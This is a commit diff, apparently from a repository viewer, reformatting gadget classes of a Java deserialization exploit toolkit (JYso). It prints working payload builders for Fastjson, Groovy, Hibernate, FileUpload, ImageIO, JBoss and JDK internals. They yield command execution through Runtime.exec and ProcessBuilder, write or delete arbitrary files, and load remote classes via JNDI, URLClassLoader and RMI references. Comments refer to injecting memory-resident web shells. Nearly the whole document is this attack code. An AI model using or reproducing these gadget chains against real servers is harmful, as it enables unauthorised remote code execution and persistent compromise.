// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false; public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
// ScriptEngineManager 是否为 RHINO 引擎 // ScriptEngineManager 是否为 RHINO 引擎
public static boolean USING_RHINO = false; public static boolean USING_RHINO = false;
public static ClassPool POOL = ClassPool.getDefault(); public static ClassPool POOL = ClassPool.getDefault();
// 不同类型内存马的父类/接口与其关键参数的映射 // 不同类型内存马的父类/接口与其关键参数的映射
public static HashMap<String, String> KEY_METHOD_MAP = new HashMap<>(); public static HashMap<String, String> KEY_METHOD_MAP = new HashMap<>();
@Parameter(names = {"-h", " --help"}, help = true, description = "Show this help") @Parameter(names = {"-h", " --help"}, help = true, description = "Show this help")
private static boolean help = false; private static boolean help = false;
static { static {
// Servlet 型内存马，关键方法 service // Servlet 型内存马，关键方法 service
src/main/java/com/qi4l/JYso/gadgets/Fastjson1.java
+5 -5
View File
@@ -15,9 +15,9 @@ import java.util.HashMap;
public class Fastjson1 implements ObjectPayload<Object> { public class Fastjson1 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault(); ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a"); CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName()); CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass); clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
@@ -28,8 +28,8 @@ public class Fastjson1 implements ObjectPayload<Object> {
JSONArray jsonArray = new JSONArray(); JSONArray jsonArray = new JSONArray();
jsonArray.add(templates); jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, jsonArray); valfield.set(val, jsonArray);
src/main/java/com/qi4l/JYso/gadgets/Fastjson2.java
+5 -5
View File
@@ -15,9 +15,9 @@ import java.util.HashMap;
public class Fastjson2 implements ObjectPayload<Object> { public class Fastjson2 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault(); ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a"); CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName()); CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass); clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");"); constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
@@ -28,8 +28,8 @@ public class Fastjson2 implements ObjectPayload<Object> {
JSONArray jsonArray = new JSONArray(); JSONArray jsonArray = new JSONArray();
jsonArray.add(templates); jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, jsonArray); valfield.set(val, jsonArray);
src/main/java/com/qi4l/JYso/gadgets/FileUpload1.java
+31 -34
View File
@@ -11,7 +11,36 @@ import java.io.IOException;
import java.io.OutputStream; import java.io.OutputStream;
import java.util.Arrays; import java.util.Arrays;
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem>{ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
@Override @Override
public DiskFileItem getObject(String command) throws Exception { public DiskFileItem getObject(String command) throws Exception {
@@ -32,41 +61,9 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem>{
} }
} }
public void release(DiskFileItem obj) throws Exception { public void release(Object obj) throws Exception {
// otherwise the finalizer deletes the file // otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos); Reflections.setFieldValue(obj, "dfos", dfos);
} }
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
} }
src/main/java/com/qi4l/JYso/gadgets/Groovy.java
+8 -8
View File
@@ -3,14 +3,7 @@ package com.qi4l.JYso.gadgets;
import groovy.util.Expando; import groovy.util.Expando;
import org.codehaus.groovy.runtime.MethodClosure; import org.codehaus.groovy.runtime.MethodClosure;
public class Groovy implements ObjectPayload<Object>{ public class Groovy implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
Object e = makeGroovy(command);
UtilFactory uf = new UtilFactory();
return uf.makeHashCodeTrigger(e);
}
public static Object makeGroovy(String command) throws Exception { public static Object makeGroovy(String command) throws Exception {
Expando expando = new Expando(); Expando expando = new Expando();
ProcessBuilder pb = new ProcessBuilder(command); ProcessBuilder pb = new ProcessBuilder(command);
@@ -19,4 +12,11 @@ public class Groovy implements ObjectPayload<Object>{
return expando; return expando;
} }
@Override
public Object getObject(String command) throws Exception {
Object e = makeGroovy(command);
UtilFactory uf = new UtilFactory();
return uf.makeHashCodeTrigger(e);
}
} }
src/main/java/com/qi4l/JYso/gadgets/Groovy1.java
+2 -2
View File
@@ -28,8 +28,8 @@ import java.util.Map;
public class Groovy1 implements ObjectPayload<InvocationHandler> { public class Groovy1 implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(String command) throws Exception { public InvocationHandler getObject(String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class); final Map map = Gadgets.createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler; return handler;
} }
src/main/java/com/qi4l/JYso/gadgets/Groovy2.java
+11 -11
View File
@@ -13,19 +13,19 @@ import javax.management.BadAttributeValueExpException;
public class Groovy2 implements ObjectPayload<Object> { public class Groovy2 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
MethodClosure execute= (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure"); MethodClosure execute = (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure");
Reflections.setFieldValue(execute,"owner",command); Reflections.setFieldValue(execute, "owner", command);
Reflections.setFieldValue(execute,"method","execute"); Reflections.setFieldValue(execute, "method", "execute");
GStringImpl gString = new GStringImpl(new Object[]{1},new String[]{"start"}); GStringImpl gString = new GStringImpl(new Object[]{1}, new String[]{"start"});
try { try {
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); Reflections.setFieldValue(execute, "maximumNumberOfParameters", 0);
Reflections.setFieldValue(execute,"ALLOW_RESOLVE",true); Reflections.setFieldValue(execute, "ALLOW_RESOLVE", true);
} catch (Exception e){ } catch (Exception e) {
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); Reflections.setFieldValue(execute, "maximumNumberOfParameters", 0);
} }
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val,"val",gString); Reflections.setFieldValue(val, "val", gString);
Reflections.setFieldValue(gString,"values",(new Object[]{execute})); Reflections.setFieldValue(gString, "values", (new Object[]{execute}));
return val; return val;
} }
src/main/java/com/qi4l/JYso/gadgets/Hibernate1.java
+14 -14
View File
@@ -69,9 +69,9 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException, public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException,
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.Getter"); Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
Reflections.setAccessible(bgCon); Reflections.setAccessible(bgCon);
if (!method.startsWith("get")) { if (!method.startsWith("get")) {
@@ -80,7 +80,7 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4); String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName); Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
Object arr = Array.newInstance(getterIf, 1); Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g); Array.set(arr, 0, g);
return arr; return arr;
@@ -89,11 +89,11 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException,
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException { ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter"); Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class); Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method)); Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
Object arr = Array.newInstance(getterIf, 1); Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g); Array.set(arr, 0, g);
return arr; return arr;
} }
@@ -133,15 +133,15 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
// Load at runtime to avoid dependency conflicts // Load at runtime to avoid dependency conflicts
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping"); Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping"); Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue"); Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters); Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1); Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]); ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
HashMap hm = new HashMap(); HashMap hm = new HashMap();
hm.put(EntityMode.POJO, tup); hm.put(EntityMode.POJO, tup);
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm}); Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm});
Reflections.setFieldValue(t, "tuplizerMapping", emtm); Reflections.setFieldValue(t, "tuplizerMapping", emtm);
@@ -151,7 +151,7 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
}); });
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class); Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v1, "value", tpl); Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t); Reflections.setFieldValue(v1, "type", t);
src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java
+5 -6
View File
@@ -1,9 +1,5 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONArray;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
@@ -12,10 +8,13 @@ import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina","com.alibaba.fastjson:com.alibaba.fastjson 1.X"}) @Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
@Authors({Authors.UNAM4}) @Authors({Authors.UNAM4})
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies { public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
@Override @Override
@@ -50,7 +49,7 @@ public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencie
JSONArray jsonArray = new JSONArray(); JSONArray jsonArray = new JSONArray();
jsonArray.add(o1); jsonArray.add(o1);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, jsonArray); valfield.set(val, jsonArray);
src/main/java/com/qi4l/JYso/gadgets/ImageIO.java
+11 -9
View File
@@ -7,14 +7,8 @@ import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Collections; import java.util.Collections;
public class ImageIO implements ObjectPayload<Object>{ public class ImageIO implements ObjectPayload<Object> {
@Override public static Object makeImageIO(UtilFactory uf, String[] args) throws Exception {
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
String args[] = {command};
return makeImageIO(uf, args);
}
public static Object makeImageIO ( UtilFactory uf, String[] args ) throws Exception {
ProcessBuilder pb = new ProcessBuilder(args); ProcessBuilder pb = new ProcessBuilder(args);
Class<?> cfCl = Class.forName("javax.imageio.ImageIO$ContainsFilter"); Class<?> cfCl = Class.forName("javax.imageio.ImageIO$ContainsFilter");
Constructor<?> cfCons = cfCl.getDeclaredConstructor(Method.class, String.class); Constructor<?> cfCons = cfCl.getDeclaredConstructor(Method.class, String.class);
@@ -29,7 +23,8 @@ public class ImageIO implements ObjectPayload<Object>{
return uf.makeIteratorTrigger(filterIt); return uf.makeIteratorTrigger(filterIt);
} }
public static Object makeFilterIterator ( Object backingIt, Object first, Object filter )
public static Object makeFilterIterator(Object backingIt, Object first, Object filter)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
Class<?> fiCl = Class.forName("javax.imageio.spi.FilterIterator"); Class<?> fiCl = Class.forName("javax.imageio.spi.FilterIterator");
Object filterIt = Reflections.createWithoutConstructor(fiCl); Object filterIt = Reflections.createWithoutConstructor(fiCl);
@@ -38,4 +33,11 @@ public class ImageIO implements ObjectPayload<Object>{
Reflections.setFieldValue(filterIt, "filter", filter); Reflections.setFieldValue(filterIt, "filter", filter);
return filterIt; return filterIt;
} }
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
String args[] = {command};
return makeImageIO(uf, args);
}
} }
src/main/java/com/qi4l/JYso/gadgets/JBossInterceptors1.java
+3 -3
View File
@@ -33,9 +33,9 @@ public class JBossInterceptors1 implements ObjectPayload<Object> {
final Object tpl; final Object tpl;
tpl = Gadgets.createTemplatesImpl(command); tpl = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>(); Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java
+40 -38
View File
@@ -14,7 +14,10 @@ import javax.crypto.Cipher;
import javax.crypto.CipherInputStream; import javax.crypto.CipherInputStream;
import javax.crypto.NullCipher; import javax.crypto.NullCipher;
import javax.management.loading.MLet; import javax.management.loading.MLet;
import javax.naming.*; import javax.naming.Binding;
import javax.naming.CannotProceedException;
import javax.naming.NamingEnumeration;
import javax.naming.Reference;
import javax.naming.directory.DirContext; import javax.naming.directory.DirContext;
import javax.naming.directory.SearchResult; import javax.naming.directory.SearchResult;
import java.io.InputStream; import java.io.InputStream;
@@ -23,7 +26,6 @@ import java.math.BigInteger;
import java.net.MalformedURLException; import java.net.MalformedURLException;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.rmi.RemoteException;
import java.rmi.server.ObjID; import java.rmi.server.ObjID;
import java.util.*; import java.util.*;
import java.util.ServiceLoader; import java.util.ServiceLoader;
@@ -32,10 +34,11 @@ public class JDKUtil {
/** /**
* *
*/ */
private JDKUtil() {} private JDKUtil() {
}
public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception { public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl(); JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl); rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo"); rs.setMatchColumn("foo");
@@ -44,7 +47,7 @@ public class JDKUtil {
} }
public static DirContext makeContinuationContext (String codebase, String clazz ) throws Exception { public static DirContext makeContinuationContext(String codebase, String clazz) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true); ccCons.setAccessible(true);
@@ -55,8 +58,8 @@ public class JDKUtil {
} }
@SuppressWarnings ( "resource" ) @SuppressWarnings("resource")
public static Object makeIteratorTriggerNative ( UtilFactory uf, Object it ) throws Exception, ClassNotFoundException, NoSuchMethodException, public static Object makeIteratorTriggerNative(UtilFactory uf, Object it) throws Exception, ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException { InstantiationException, IllegalAccessException, InvocationTargetException {
Cipher m = Reflections.createWithoutConstructor(NullCipher.class); Cipher m = Reflections.createWithoutConstructor(NullCipher.class);
Reflections.setFieldValue(m, "serviceIterator", it); Reflections.setFieldValue(m, "serviceIterator", it);
@@ -84,7 +87,7 @@ public class JDKUtil {
} }
public static Object adaptEnumerationToIterator ( Enumeration<?> enu ) throws ClassNotFoundException, NoSuchMethodException, public static Object adaptEnumerationToIterator(Enumeration<?> enu) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, Exception { InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator"); Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator");
Constructor<?> licons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class); Constructor<?> licons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class);
@@ -97,7 +100,7 @@ public class JDKUtil {
} }
public static Iterator<?> makeServiceIterator (ClassLoader cl, Class<?> service ) throws Exception { public static Iterator<?> makeServiceIterator(ClassLoader cl, Class<?> service) throws Exception {
Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator"); Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator");
Constructor<?> lciCons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class); Constructor<?> lciCons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class);
lciCons.setAccessible(true); lciCons.setAccessible(true);
@@ -105,13 +108,13 @@ public class JDKUtil {
} }
public static Iterable<?> makeServiceLoader ( ClassLoader cl, Class<?> service ) throws Exception { public static Iterable<?> makeServiceLoader(ClassLoader cl, Class<?> service) throws Exception {
return ServiceLoader.load(service, cl); return ServiceLoader.load(service, cl);
} }
public static URLClassLoader makeURLClassLoader (String url ) throws MalformedURLException, Exception { public static URLClassLoader makeURLClassLoader(String url) throws MalformedURLException, Exception {
URLClassLoader ucl = new URLClassLoader(new URL[] { URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL(url) new URL(url)
}); });
Reflections.setFieldValue(ucl, "parent", null); Reflections.setFieldValue(ucl, "parent", null);
@@ -124,8 +127,8 @@ public class JDKUtil {
} }
public static URLClassLoader makeMLet ( String url ) throws MalformedURLException, Exception { public static URLClassLoader makeMLet(String url) throws MalformedURLException, Exception {
URLClassLoader ucl = new MLet(new URL[] { URLClassLoader ucl = new MLet(new URL[]{
new URL(url) new URL(url)
}); });
Reflections.setFieldValue(ucl, "parent", null); Reflections.setFieldValue(ucl, "parent", null);
@@ -138,8 +141,8 @@ public class JDKUtil {
} }
@SuppressWarnings ( "unchecked" ) @SuppressWarnings("unchecked")
public static Enumeration<?> makeLazySearchEnumeration ( String codebase, String clazz ) throws Exception { public static Enumeration<?> makeLazySearchEnumeration(String codebase, String clazz) throws Exception {
DirContext ctx = makeContinuationContext(codebase, clazz); DirContext ctx = makeContinuationContext(codebase, clazz);
NamingEnumeration<?> inner = Reflections.createWithoutConstructor(LazySearchEnumerationImpl.class); NamingEnumeration<?> inner = Reflections.createWithoutConstructor(LazySearchEnumerationImpl.class);
Reflections.setFieldValue(inner, "nextMatch", new SearchResult("foo", ctx, null)); Reflections.setFieldValue(inner, "nextMatch", new SearchResult("foo", ctx, null));
@@ -147,11 +150,11 @@ public class JDKUtil {
} }
public static Enumeration<?> makeBindingEnumeration ( String codebase, String clazz ) throws Exception { public static Enumeration<?> makeBindingEnumeration(String codebase, String clazz) throws Exception {
Class<?> cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration"); Class<?> cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
Object enu = Reflections.createWithoutConstructor(cl); Object enu = Reflections.createWithoutConstructor(cl);
Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz))); Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz)));
Reflections.setFieldValue(enu, "names", new String[] { Reflections.setFieldValue(enu, "names", new String[]{
"exp" "exp"
}); });
Reflections.setFieldValue(enu, "nextName", 0); Reflections.setFieldValue(enu, "nextName", 0);
@@ -159,7 +162,7 @@ public class JDKUtil {
} }
private static Object makeRegistryImpl ( String codebase, String clazz ) throws Exception { private static Object makeRegistryImpl(String codebase, String clazz) throws Exception {
Class<?> regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry"); Class<?> regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry");
Object reg = Reflections.createWithoutConstructor(regcl); Object reg = Reflections.createWithoutConstructor(regcl);
Reflections.setFieldValue(reg, "name", "exp"); Reflections.setFieldValue(reg, "name", "exp");
@@ -173,7 +176,7 @@ public class JDKUtil {
} }
private static ReferenceWrapper makeReference (String codebase, String clazz ) throws Exception { private static ReferenceWrapper makeReference(String codebase, String clazz) throws Exception {
Reference ref = new Reference("Foo", clazz, codebase); Reference ref = new Reference("Foo", clazz, codebase);
ReferenceWrapper wrapper = Reflections.createWithoutConstructor(ReferenceWrapper.class); ReferenceWrapper wrapper = Reflections.createWithoutConstructor(ReferenceWrapper.class);
Reflections.setFieldValue(wrapper, "wrappee", ref); Reflections.setFieldValue(wrapper, "wrappee", ref);
@@ -182,7 +185,7 @@ public class JDKUtil {
} }
private static Object makeRegistryContext ( Object regi ) throws Exception { private static Object makeRegistryContext(Object regi) throws Exception {
Class<?> regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext"); Class<?> regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext");
Object regctx = Reflections.createWithoutConstructor(regctxcl); Object regctx = Reflections.createWithoutConstructor(regctxcl);
Reflections.setFieldValue(regctx, "registry", regi); Reflections.setFieldValue(regctx, "registry", regi);
@@ -190,14 +193,13 @@ public class JDKUtil {
} }
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>(); HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2); Reflections.setFieldValue(s, "size", 2);
